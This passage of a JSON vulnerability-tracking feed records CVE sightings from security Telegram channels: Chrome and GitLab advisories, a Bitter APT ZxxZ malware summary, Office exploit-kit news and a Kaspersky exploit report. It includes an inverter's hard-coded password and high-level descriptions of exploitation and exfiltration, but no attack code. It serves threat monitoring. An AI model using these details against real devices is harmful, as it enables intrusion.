\u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u044f \u0436\u0435\u0440\u0442\u0432\u044b \u0438 \u0437\u0430\u043f\u0443\u0441\u043a\u0430\u044e\u0442\u0441\u044f \u043a\u0430\u043a \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0435 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 Windows \u0441\u043e \u0441\u0440\u0435\u0434\u043d\u0435\u0439 \u0446\u0435\u043b\u043e\u0441\u0442\u043d\u043e\u0441\u0442\u044c\u044e \u0434\u043b\u044f \u043f\u043e\u0432\u044b\u0448\u0435\u043d\u0438\u044f \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0439 \u043e\u0431\u044b\u0447\u043d\u043e\u0433\u043e \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f.\n\n\u0412\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u0430\u044f \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u0430 \u0438\u043c\u0435\u0435\u0442 \u0444\u0443\u043d\u043a\u0446\u0438\u0438 \u0437\u0430\u0449\u0438\u0442\u044b \u043e\u0442 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u0438\u044f, \u0430 \u0442\u0430\u043a\u0436\u0435 \u043e\u0442\u0441\u0435\u043a\u0430\u0435\u0442 \u0430\u043a\u0442\u0438\u0432\u043d\u044b\u0435 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u044b Windows Defender \u0438 \u0434\u0440\u0443\u0433\u0438\u0445 \u0430\u043d\u0442\u0438\u0432\u0438\u0440\u0443\u0441\u043d\u044b\u0445 \u0440\u0435\u0448\u0435\u043d\u0438\u0439.\n\n\u041f\u043e\u0441\u043b\u0435 \u044d\u0442\u043e\u0433\u043e \u0430\u043a\u0442\u0438\u0432\u0438\u0440\u0443\u0435\u0442\u0441\u044f \u0444\u0443\u043d\u043a\u0446\u0438\u044f \u044d\u043a\u0441\u0444\u0438\u043b\u044c\u0442\u0440\u0430\u0446\u0438\u0438 \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u0438, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u0441\u0431\u0440\u0430\u0441\u044b\u0432\u0430\u0435\u0442 \u0434\u0430\u043d\u043d\u044b\u0435 \u043f\u0440\u043e\u0444\u0438\u043b\u044f \u0436\u0435\u0440\u0442\u0432\u044b \u0432 \u0431\u0443\u0444\u0435\u0440 \u043f\u0430\u043c\u044f\u0442\u0438 \u0438 \u043e\u0442\u043f\u0440\u0430\u0432\u043b\u044f\u0435\u0442 \u0438\u0445 \u043d\u0430 \u0441\u0435\u0440\u0432\u0435\u0440 \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u0438 \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044f.\u00a0\u0417\u0430\u0442\u0435\u043c C2 \u043e\u0442\u0432\u0435\u0447\u0430\u0435\u0442 \u043f\u0435\u0440\u0435\u043d\u043e\u0441\u0438\u043c\u044b\u043c \u0438\u0441\u043f\u043e\u043b\u043d\u044f\u0435\u043c\u044b\u043c \u0444\u0430\u0439\u043b\u043e\u043c, \u0445\u0440\u0430\u043d\u044f\u0449\u0438\u043c\u0441\u044f \u0432 \u00ab%LOCALAPPDATA%\\Debug\\\u00bb. \u0412 \u0441\u043b\u0443\u0447\u0430\u0435 \u0441\u0431\u043e\u0435\u0432 \u043f\u0440\u0438 \u043f\u043e\u043b\u0443\u0447\u0435\u043d\u0438\u0438 \u044d\u0442\u043e\u0433\u043e \u0438\u0441\u043f\u043e\u043b\u043d\u044f\u0435\u043c\u043e\u0433\u043e \u0444\u0430\u0439\u043b\u0430 ZxxZ \u043f\u043e\u0432\u0442\u043e\u0440\u044f\u0435\u0442 \u043f\u043e\u043f\u044b\u0442\u043a\u0443 \u0435\u0449\u0435 225 \u0440\u0430\u0437, \u043f\u0440\u0435\u0436\u0434\u0435 \u0447\u0435\u043c \u0437\u0430\u0432\u0435\u0440\u0448\u0430\u0435\u0442 \u0440\u0430\u0431\u043e\u0442\u0443.\n\n\u041a\u0430\u043a \u0432 \u0438\u043d\u0434\u0438\u0439\u0441\u043a\u043e\u043c \u043a\u0438\u043d\u043e, APT Bitter \u043d\u0435 \u043f\u0435\u0440\u0435\u0441\u0442\u0430\u0435\u0442 \u0443\u0434\u0438\u0432\u043b\u044f\u0442\u044c \u0441\u0432\u043e\u0435\u0439 \u0433\u0438\u043f\u0435\u0440\u0430\u043a\u0442\u0438\u0432\u043d\u043e\u0441\u0442\u044c\u044e, \u043e\u0431\u043d\u043e\u0432\u043b\u044f\u044f \u0441\u0432\u043e\u0439 \u0430\u0440\u0441\u0435\u043d\u0430\u043b \u043d\u043e\u0432\u044b\u043c\u0438 \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u0430\u043c\u0438 \u0438 \u043f\u0440\u0438\u043b\u0430\u0433\u0430\u044f \u0431\u043e\u043b\u044c\u0448\u0435 \u0443\u0441\u0438\u043b\u0438\u0439 \u0434\u043b\u044f \u0441\u043e\u043a\u0440\u044b\u0442\u0438\u044f \u0441\u0432\u043e\u0435\u0433\u043e \u043f\u0440\u0438\u0441\u0443\u0442\u0441\u0442\u0432\u0438\u044f \u0432 \u0441\u043a\u043e\u043c\u043f\u0440\u043e\u043c\u0435\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0445 \u0441\u0438\u0441\u0442\u0435\u043c\u0430\u0445.", "creation_timestamp": "2022-05-13T09:24:05.000000Z"}, {"uuid": "ffcfdf9b-08f4-48a9-8548-ba306f9b78ae", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-0801", "type": "seen", "source": "https://t.me/ctinow/207117", "content": "https://ift.tt/3XicvNT\nCVE-2024-0801", "creation_timestamp": "2024-03-13T20:23:06.000000Z"}, {"uuid": "5aa1d27c-ad88-44e5-8d14-f72ccf5b00e5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-0800", "type": "seen", "source": "https://t.me/ctinow/207116", "content": "https://ift.tt/ov1FApE\nCVE-2024-0800", "creation_timestamp": "2024-03-13T20:23:05.000000Z"}, {"uuid": "a6874af0-4b2c-4949-b4cc-7c522c1f187b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-0800", "type": "seen", "source": "https://t.me/ctinow/207122", "content": "https://ift.tt/ov1FApE\nCVE-2024-0800", "creation_timestamp": "2024-03-13T20:27:45.000000Z"}, {"uuid": "7f858214-6937-434e-84d0-5164aca0aeeb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-0801", "type": "seen", "source": "https://t.me/ctinow/207123", "content": "https://ift.tt/3XicvNT\nCVE-2024-0801", "creation_timestamp": "2024-03-13T20:27:46.000000Z"}, {"uuid": "80455f81-4eda-4703-9eb0-d51b1feb0df6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-0800", "type": "published-proof-of-concept", "source": "https://t.me/ctinow/207672", "content": "https://ift.tt/MiqyKZ2\nPoC for critical Arcserve UDP vulnerabilities published (CVE-2024-0799, CVE-2024-0800)", "creation_timestamp": "2024-03-14T12:41:05.000000Z"}, {"uuid": "8b70e300-077b-4554-b7e2-25f2af1e2978", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2019-0803", "type": "seen", "source": "Telegram/0sD_EyHySREvSWLaWKL-XHqTqDduPkHhIy1vEKF4pCPQbv8", "content": "", "creation_timestamp": "2020-10-28T02:58:38.000000Z"}, {"uuid": "71d7c640-9db0-4beb-9ad8-045115dccc15", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-0803", "type": "seen", "source": "https://t.me/ctinow/208343", "content": "https://ift.tt/eGZKgRy\nCVE-2024-0803", "creation_timestamp": "2024-03-15T02:26:28.000000Z"}, {"uuid": "cf303f24-1786-4db2-9955-67f98116add7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-0802", "type": "seen", "source": "https://t.me/ctinow/208342", "content": "https://ift.tt/wh814cV\nCVE-2024-0802", "creation_timestamp": "2024-03-15T02:26:27.000000Z"}, {"uuid": "6480cae6-9739-4260-be63-9fc1d5e6093d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-0803", "type": "seen", "source": "https://t.me/ctinow/208350", "content": "https://ift.tt/eGZKgRy\nCVE-2024-0803", "creation_timestamp": "2024-03-15T02:31:44.000000Z"}, {"uuid": "1dd2f85e-2ec9-4f6b-bf66-2f68ad9389bf", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-0802", "type": "seen", "source": "https://t.me/ctinow/208349", "content": "https://ift.tt/wh814cV\nCVE-2024-0802", "creation_timestamp": "2024-03-15T02:31:43.000000Z"}, {"uuid": "11c3b98f-fd95-4a3b-86ea-992967f224bb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-0805", "type": "seen", "source": "https://t.me/ctinow/186948", "content": "https://ift.tt/N30Phv6\nCVE-2024-0805 | Google Chrome prior 121.0.6167.85 Downloads Privilege Escalation (FEDORA-2024-3f7345570a)", "creation_timestamp": "2024-02-17T15:11:42.000000Z"}, {"uuid": "8dacb2f3-a91f-41df-a55b-5112ea79477c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-0806", "type": "seen", "source": "https://t.me/ctinow/186947", "content": "https://ift.tt/mwRr0nt\nCVE-2024-0806 | Google Chrome prior 121.0.6167.85 Passwords use after free (FEDORA-2024-3f7345570a)", "creation_timestamp": "2024-02-17T15:11:41.000000Z"}, {"uuid": "eff60250-494f-46d2-b636-a4e83ffb6c74", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-0808", "type": "seen", "source": "https://t.me/ctinow/186938", "content": "https://ift.tt/8HEJ5gU\nCVE-2024-0808 | Google Chrome prior 121.0.6167.85 WebUI integer underflow (FEDORA-2024-3f7345570a)", "creation_timestamp": "2024-02-17T14:46:17.000000Z"}, {"uuid": "0ee556ef-fd41-4a52-91a5-f5fb3f62527a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-0807", "type": "seen", "source": "https://t.me/ctinow/186936", "content": "https://ift.tt/Kfmpg9a\nCVE-2024-0807 | Google Chrome prior 121.0.6167.85 WebAudio use after free (FEDORA-2024-3f7345570a)", "creation_timestamp": "2024-02-17T14:46:14.000000Z"}, {"uuid": "1f7c6a13-320f-48a0-9275-a43c0a9f62b2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-0809", "type": "seen", "source": "https://t.me/ctinow/186951", "content": "https://ift.tt/ANJGozq\nCVE-2024-0809 | Google Chrome prior 121.0.6167.85 Autofill Privilege Escalation (FEDORA-2024-3f7345570a)", "creation_timestamp": "2024-02-17T15:11:46.000000Z"}, {"uuid": "3dfe5480-1c3f-4c2d-999b-917cb862766b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-0804", "type": "seen", "source": "https://t.me/ctinow/186949", "content": "https://ift.tt/hvFaBRS\nCVE-2024-0804 | Google Chrome prior 121.0.6167.85 iOS Security UI Privilege Escalation (FEDORA-2024-3f7345570a)", "creation_timestamp": "2024-02-17T15:11:43.000000Z"}, {"uuid": "61d5749f-f68d-45cd-b631-66a16e80ca84", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-0807", "type": "seen", "source": "https://t.me/ctinow/173938", "content": "https://ift.tt/aKF3qPm\nChromium: CVE-2024-0807 Use after free in WebAudio", "creation_timestamp": "2024-01-26T01:42:09.000000Z"}, {"uuid": "fa251bd6-9fa6-4d18-a65a-962546cf0d3e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-0804", "type": "seen", "source": "https://t.me/ctinow/173941", "content": "https://ift.tt/Pihdw5D\nChromium: CVE-2024-0804 Insufficient policy enforcement in iOS Security UI", "creation_timestamp": "2024-01-26T01:42:15.000000Z"}, {"uuid": "c28de74a-d301-489a-b339-19a35300e1e0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-0805", "type": "seen", "source": "https://t.me/ctinow/173940", "content": "https://ift.tt/HuUsbpz\nChromium: CVE-2024-0805 Inappropriate implementation in Downloads", "creation_timestamp": "2024-01-26T01:42:11.000000Z"}, {"uuid": "d0831c43-f708-42a8-9f4c-4ffdcbdaec1f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-0806", "type": "seen", "source": "https://t.me/ctinow/173939", "content": "https://ift.tt/ksIGaOe\nChromium: CVE-2024-0806 Use after free in Passwords", "creation_timestamp": "2024-01-26T01:42:10.000000Z"}, {"uuid": "3653ed32-55f6-4f39-9e48-b276e906b0c1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-0808", "type": "seen", "source": "https://t.me/ctinow/173937", "content": "https://ift.tt/LIhmlue\nChromium: CVE-2024-0808 Integer underflow in WebUI", "creation_timestamp": "2024-01-26T01:42:08.000000Z"}, {"uuid": "f63af685-dd44-40f2-ac3c-65a77fb7d221", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-0809", "type": "seen", "source": "https://t.me/ctinow/173936", "content": "https://ift.tt/4sBcZUK\nChromium: CVE-2024-0809 Inappropriate implementation in Autofill", "creation_timestamp": "2024-01-26T01:42:07.000000Z"}, {"uuid": "fa1cebe7-b3bb-47a3-8097-0ed09b116fa9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-0809", "type": "seen", "source": "https://t.me/ctinow/172457", "content": "https://ift.tt/FEPu46Y\nCVE-2024-0809", "creation_timestamp": "2024-01-24T01:27:01.000000Z"}, {"uuid": "1a9219f4-aba6-4803-90b2-bde18b83191c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-0808", "type": "seen", "source": "https://t.me/ctinow/172456", "content": "https://ift.tt/AI8eCfr\nCVE-2024-0808", "creation_timestamp": "2024-01-24T01:26:56.000000Z"}, {"uuid": "443f2e64-b141-460b-a0ed-75292eb687fd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-0805", "type": "seen", "source": "https://t.me/ctinow/172453", "content": "https://ift.tt/2WV4SbA\nCVE-2024-0805", "creation_timestamp": "2024-01-24T01:26:54.000000Z"}, {"uuid": "9e604828-51d9-4189-ac11-5141bdbd5095", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-0804", "type": "seen", "source": "https://t.me/ctinow/172452", "content": "https://ift.tt/QMagDcW\nCVE-2024-0804", "creation_timestamp": "2024-01-24T01:26:53.000000Z"}, {"uuid": "ddc33b68-b218-4a4c-8833-93566084a071", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-0807", "type": "seen", "source": "https://t.me/ctinow/172455", "content": "https://ift.tt/4uLgjBh\nCVE-2024-0807", "creation_timestamp": "2024-01-24T01:26:56.000000Z"}, {"uuid": "b142111c-0787-4b81-b0d7-805874f7a838", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-0806", "type": "seen", "source": "https://t.me/ctinow/172454", "content": "https://ift.tt/nZa3uET\nCVE-2024-0806", "creation_timestamp": "2024-01-24T01:26:55.000000Z"}, {"uuid": "d2ef9aba-87f0-4619-928b-e7b86a8b0e21", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-0805", "type": "seen", "source": "https://t.me/cibsecurity/63261", "content": "\u203c CVE-2023-0805 \u203c\n\nAn issue has been discovered in GitLab EE affecting all versions starting from 15.2 before 15.9.6, all versions starting from 15.10 before 15.10.5, all versions starting from 15.11 before 15.11.1. A malicious group member may continue to have access to the public projects of a public group even after being banned from the public group by the owner.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-05-04T02:36:24.000000Z"}, {"uuid": "86bf62e5-c179-4aa3-a720-abd60348eeb4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-0808", "type": "seen", "source": "https://t.me/cibsecurity/57994", "content": "\u203c CVE-2023-0808 \u203c\n\nA vulnerability was found in Deye/Revolt/Bosswerk Inverter MW3_15U_5406_1.47/MW3_15U_5406_1.471. It has been rated as problematic. This issue affects some unknown processing of the component Access Point Setting Handler. The manipulation with the input 12345678 leads to use of hard-coded password. It is possible to launch the attack on the physical device. The exploit has been disclosed to the public and may be used. Upgrading to version MW3_16U_5406_1.53 is able to address this issue. It is recommended to upgrade the affected component. The identifier VDB-220769 was assigned to this vulnerability.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-02-13T14:29:39.000000Z"}, {"uuid": "e6549be6-73d0-4c20-b34a-609c9819eff4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-0801", "type": "seen", "source": "https://t.me/cibsecurity/55791", "content": "\u203c CVE-2022-0801 \u203c\n\nInappropriate implementation in HTML parser in Google Chrome prior to 99.0.4844.51 allowed a remote attacker to bypass XSS preventions via a crafted HTML page. (Chrome security severity: Medium)\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-01-03T02:16:50.000000Z"}, {"uuid": "72776495-f544-4f94-a335-1a0ecc5c7592", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2018-0802", "type": "seen", "source": "https://t.me/REDTalk_base/96", "content": "\u041f\u0440\u0438\u0432\u0435\u0442, \u0434\u0440\u0443\u0437\u044c\u044f! \ud83d\udc4b\n\n\u0425\u043e\u0447\u0443 \u043f\u043e\u0434\u0435\u043b\u0438\u0442\u044c\u0441\u044f \u0438\u043d\u0442\u0435\u0440\u0435\u0441\u043d\u043e\u0439 \u0441\u0442\u0430\u0442\u044c\u0435\u0439 \u043e\u0442 \u043a\u043e\u043b\u043b\u0435\u0433 \u0438\u0437 Kaspersky \u043e \u0441\u0430\u043c\u044b\u0445 \u043f\u043e\u043f\u0443\u043b\u044f\u0440\u043d\u044b\u0445 \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442\u0430\u0445 \u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044f\u0445 \u0437\u0430 \u0432\u0442\u043e\u0440\u043e\u0439 \u043a\u0432\u0430\u0440\u0442\u0430\u043b 2024 \u0433\u043e\u0434\u0430.\n\n\u0417\u0430 \u043f\u0435\u0440\u0432\u044b\u0439 \u043a\u0432\u0430\u0440\u0442\u0430\u043b \u044d\u0442\u043e\u0433\u043e \u0433\u043e\u0434\u0430 \u043d\u0430\u0438\u0431\u043e\u043b\u0435\u0435 \u043f\u043e\u043f\u0443\u043b\u044f\u0440\u043d\u044b\u043c\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044f\u043c\u0438 \u0431\u044b\u043b\u0438 \u0440\u0430\u0437\u043b\u0438\u0447\u043d\u044b\u0435 \u0438\u043d\u044a\u0435\u043a\u0446\u0438\u0438: \n\n1\ufe0f\u20e3SQL Injection\n\n2\ufe0f\u20e3Command Injection\n\n\u0412\u043e \u0432\u0442\u043e\u0440\u043e\u043c \u043a\u0432\u0430\u0440\u0442\u0430\u043b\u0435 \u043b\u0438\u0434\u0435\u0440\u044b \u0438\u0437\u043c\u0435\u043d\u0438\u043b\u0438\u0441\u044c:\n\n1\ufe0f\u20e3Unrestricted Upload of File with Dangerous Type\n\n2\ufe0f\u20e3SQL Injection\n\n3\ufe0f\u20e3Path Traversal\n\n\u0418\u0437 \u043d\u0430\u0438\u0431\u043e\u043b\u0435\u0435 \u0447\u0430\u0441\u0442\u043e \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u0443\u0435\u043c\u044b\u0445 CVE \u0434\u043b\u044f Windows:\n\n1\ufe0f\u20e3RCE: \n        CVE-2018-0802, CVE-2017-11882 - \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 \u0440\u0435\u0434\u0430\u043a\u0442\u043e\u0440\u0435 \u0444\u043e\u0440\u043c\u0443\u043b ms office\n\n        CVE-2021-40444 - \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 MSHTML\n\n2\ufe0f\u20e3LPE: CVE-2017-0199 - \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 MS office \u0438 WordPad\n\n\u0414\u043b\u044f Linux:\n\n1\ufe0f\u20e3LPE:\n        CVE-2022-0847, CVE-2023-2640 \u2014 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 \u044f\u0434\u0440\u0435 Linux\n\n        CVE-2021-4034 \u2014 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 \u0443\u0442\u0438\u043b\u0438\u0442\u0435 pkexec\n\n\ud83d\ude0f \u041f\u043e\u0434\u0440\u043e\u0431\u043d\u0435\u0435 \u043c\u043e\u0436\u043d\u043e \u043f\u0440\u043e\u0447\u0438\u0442\u0430\u0442\u044c \u0437\u0434\u0435\u0441\u044c: vulnerability-exploit-report-q2-2024\n\n\u0413\u043b\u0430\u0432\u043d\u043e\u0435, \u0434\u0440\u0443\u0437\u044c\u044f, \u0431\u0435\u0437 \u043f\u0430\u043d\u0438\u043a\u0438 \ud83d\ude0a!  \u0413\u0440\u0430\u043c\u043e\u0442\u043d\u044b\u0439 \u043c\u043e\u043d\u0438\u0442\u043e\u0440\u0438\u043d\u0433 \u0441\u0435\u0442\u0438, \u0441\u0432\u043e\u0435\u0432\u0440\u0435\u043c\u0435\u043d\u043d\u044b\u0439 \u043f\u0430\u0442\u0447-\u043c\u0435\u043d\u0435\u0434\u0436\u043c\u0435\u043d\u0442 \u0438 \u043a\u043e\u043c\u043f\u043b\u0435\u043a\u0441\u043d\u044b\u0439 \u043f\u043e\u0434\u0445\u043e\u0434 \u043a \u0437\u0430\u0449\u0438\u0442\u0435, \u0432\u043a\u043b\u044e\u0447\u0430\u044f \u043e\u0431\u0443\u0447\u0435\u043d\u0438\u0435 \u0441\u043e\u0442\u0440\u0443\u0434\u043d\u0438\u043a\u043e\u0432 \u043e\u0441\u043d\u043e\u0432\u0430\u043c \u0418\u0411, \u043f\u043e\u043c\u043e\u0433\u0443\u0442 \u0432\u0430\u043c \u0441\u043e\u0445\u0440\u0430\u043d\u0438\u0442\u044c \u0441\u043f\u043e\u043a\u043e\u0439\u0441\u0442\u0432\u0438\u0435 \u0438 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u044c.\n\n\u0412\u0441\u0435\u043c \u0445\u043e\u0440\u043e\u0448\u0435\u0439 \u0440\u0430\u0431\u043e\u0447\u0435\u0439 \u043d\u0435\u0434\u0435\u043b\u0438 \u0438 \u0431\u0443\u0434\u044c\u0442\u0435 \u0432 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438! \ud83d\udee1\n\n#blueteam", "creation_timestamp": "2026-08-04T14:00:18.028673Z"}, {"uuid": "00f7a923-2e0f-4713-9be6-59cfcc67a471", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2018-0802", "type": "published-proof-of-concept", "source": "Telegram/MW4Cq0XLawrCQLXUdycCMnjcAht4eXyWQgQyKFuPl7x4", "content": "", "creation_timestamp": "2026-08-03T02:05:52.335990Z"}, {"uuid": "c826687c-accf-4145-9442-a4c2cadf139a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2018-0802", "type": "exploited", "source": "https://t.me/information_security_channel/29050", "content": "Multiple Chinese Groups Share the Same RTF Weaponizer\nhttp://feedproxy.google.com/~r/Securityweek/~3/5K_97JR4HFw/multiple-chinese-groups-share-same-rtf-weaponizer\n\nDuring an investigation into a possibly shared RTF weaponizer by Indian and Chinese APT groups, researchers have discovered that multiple Chinese groups have updated the weaponizer to exploit the Microsoft Equation Editor (EE) vulnerability CVE-2018-0798. The same weaponizer had previously delivered exploits for EE vulnerabilities CVE-2017-11882 and CVE-2018-0802.\nread more (https://www.securityweek.com/multiple-chinese-groups-share-same-rtf-weaponizer)", "creation_timestamp": "2019-07-03T21:31:08.000000Z"}, {"uuid": "9fd74092-b27e-4443-a3f8-6b05b5a4816b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2016-0800", "type": "seen", "source": "https://t.me/information_security_channel/9760", "content": "A2SV is a Python-based SSL Vulnerability focused tool that allows for auto-scanning and detection of the common and well-known SSL Vulnerabilities.\n\nSSL Vulnerabilities Detected by A2SV\n[CVE-2007-1858] Anonymous Cipher\n[CVE-2012-4929] CRIME(SPDY)\n[CVE-2014-0160] CCS Injection\n[CVE-2014-0224] HeartBleed\n[CVE-2014-3566] SSLv3 POODLE\n[CVE-2015-0204] FREAK Attack\n[CVE-2015-4000] LOGJAM Attack\n[CVE-2016-0800] SSLv2 DROWN\nPlanned for future:\n[PLAN] SSL ACCF\n[PLAN] SSL Information Analysis\nInstallation & Requirements for A2SV\nA.\nRead the rest of A2SV \u2013 Auto Scanning SSL Vulnerability Tool For Poodle & Heartbleed now! Only available at Darknet. (https://www.darknet.org.uk/2017/10/a2sv-auto-scanning-ssl-vulnerability-tool-poodle-heartbleed/)", "creation_timestamp": "2017-10-09T18:29:26.000000Z"}, {"uuid": "d5fe420a-9236-454e-898c-5c2747270774", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2018-0802", "type": "exploited", "source": "https://t.me/information_security_channel/15313", "content": "New \"ThreadKit\" Office Exploit Builder Emerges\nhttp://feedproxy.google.com/~r/Securityweek/~3/7de3m_eM7i8/new-threadkit-office-exploit-builder-emerges\n\nA newly discovered Microsoft Office document exploit builder kit has been used for the distribution of a variety of malicious payloads, including banking Trojans and backdoors, Proofpoint reports.\nThe exploit builder kit was initially discovered in October 2017, but Proofpoint's researchers have linked it to activity dating back to June 2017. The builder kit shows similarities to Microsoft Word Intruder (MWI), but is a new tool called ThreadKit.\nIn June 2017, the kit was being advertised in a forum post as being able to create documents with embedded executables and 